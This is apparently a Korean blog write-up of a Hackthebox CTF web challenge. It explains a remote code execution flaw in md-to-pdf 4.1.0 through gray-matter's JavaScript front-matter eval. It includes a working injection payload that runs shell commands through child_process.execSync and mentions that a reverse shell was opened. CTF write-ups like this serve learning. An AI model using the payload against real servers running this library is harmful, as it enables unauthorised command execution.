티스토리 뷰
문제 개요
RCE with md-to-pdf(v4.1.0) javascript library
코드 분석
{
"name": "blinker-fluids",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"express": "4.17.3",
"md-to-pdf": "4.1.0",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.3",
"uuid": "8.3.2"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
위는 package.json 파일인데요. md-to-pdf 라는 모듈이 4.1.0 버전인 걸 확인할 수 있습니다. 그리고 해당 모듈에는 아래 취약점이 존재하는데요.
https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880
공격 복잡도는 매우 쉬운 반면에 영향도가 매우 높은 취약점인걸 알 수 있습니다.
문제 파일에서는 아래와 같이 md-to-pdf 모듈을 사용해서 사용자 input으로 받은 markdown content 를 pdf 파일로 만들어주고 있습니다.
const { mdToPdf } = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')
const makePDF = async (markdown) => {
return new Promise(async (resolve, reject) => {
id = uuidv4();
try {
await mdToPdf(
{ content: markdown },
{
dest: `static/invoices/${id}.pdf`,
launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] }
}
);
resolve(id);
} catch (e) {
reject(e);
}
});
}
module.exports = {
makePDF
};
아래는 위 makePDF 함수를 호출하는 부분인 라우터입니다.
router.post('/api/invoice/add', async (req, res) => {
const { markdown_content } = req.body;
if (markdown_content) {
return MDHelper.makePDF(markdown_content)
.then(id => {
db.addInvoice(id)
.then(() => {
res.send(response('Invoice saved successfully!'));
})
.catch(e => {
res.send(response('Something went wrong!'));
})
})
.catch(e => {
console.log(e);
return res.status(500).send(response('Something went wrong!'));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
invoice 를 추가할 때 내용 부분으로 markdown content 를 받아오는데, 이를 makePDF 함수에 넣고 RCE 에 취약한 부분이 실행됨을 알 수 있습니다.
md-to-pdf 라이브러리 github 페이지에서는 아래 링크로부터 취약점 제보 내용을 알 수 있습니다.
https://github.com/simonhaenisch/md-to-pdf/issues/99
markdown content 를 eval 함수로 그대로 실행시키는 gray-matter 라는 내부 모듈에 의해서 취약점이 발생하고 있다고 설명합니다.
해당 모듈의 코드를 추적해보면 내부적으로 아래 코드에서 eval 함수가 실행되는 것을 볼 수 있습니다.
문제 풀이
이제 실제로 아래 markdown 작성하는 부분에다가 페이로드를 입력하고서 전송해보았습니다.
전송한 페이로드를 아래와 같습니다.
'---js\n((require("child_process")).execSync("id > /app/static/invoices/rce.txt"))\n---RCE'
/app/static/invoices/ 경로에 rce.txt 라는 파일을 생성하고 내용으로는 id 명령어의 출력값을 넣도록 해보았습니다.
그랬더니 실제 해당 경로로 이동해서 rce.txt 파일의 내용을 확인해보았더니 RCE가 성공적으로 이루어진 것을 볼 수 있었습니다.
마무리
실제 문제 풀 당시에는 node js 기반의 revershell 을 열어서 flag를 획득했던 것 같습니다. 주말에 잠깐해보고 많이 참여하지 못해서 아쉬웠던 CTF 였습니다. 이번 CTF는 Cyber Apocalypse CTF 2022 - Intergalactic Chase 라는 이름의 CTF이고 Hackthebox 에서 주최했던 CTF였습니다. 문제 수는 총 61문제로 엄청 많이 나와서 Web, Pwn, Crypto, Reversing, Forensics, Misc, 그리고 Hardware 까지 다양한 분야에서 초급부터 상급 문제로 출제되어서 좋았던 것 같습니다. 초급자도 쉽게 접근할 수 있었던 CTF로써 더욱 재밌었던 것 같습니다.
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] Intergalactic Post Writeup(문제풀이) (0) | 2022.05.24 |
---|---|
[Hackthebox] Amidst Us Writeup(문제풀이) (0) | 2022.05.23 |
[LINECTF2022] [WEB] gotm 문제풀이(writeup) (0) | 2022.03.28 |
[LINECTF2022] [WEB] Memo Drive 문제풀이(writeup) (0) | 2022.03.28 |
[LINECTF2022] [WEB] bb 문제풀이(writeup) (0) | 2022.03.28 |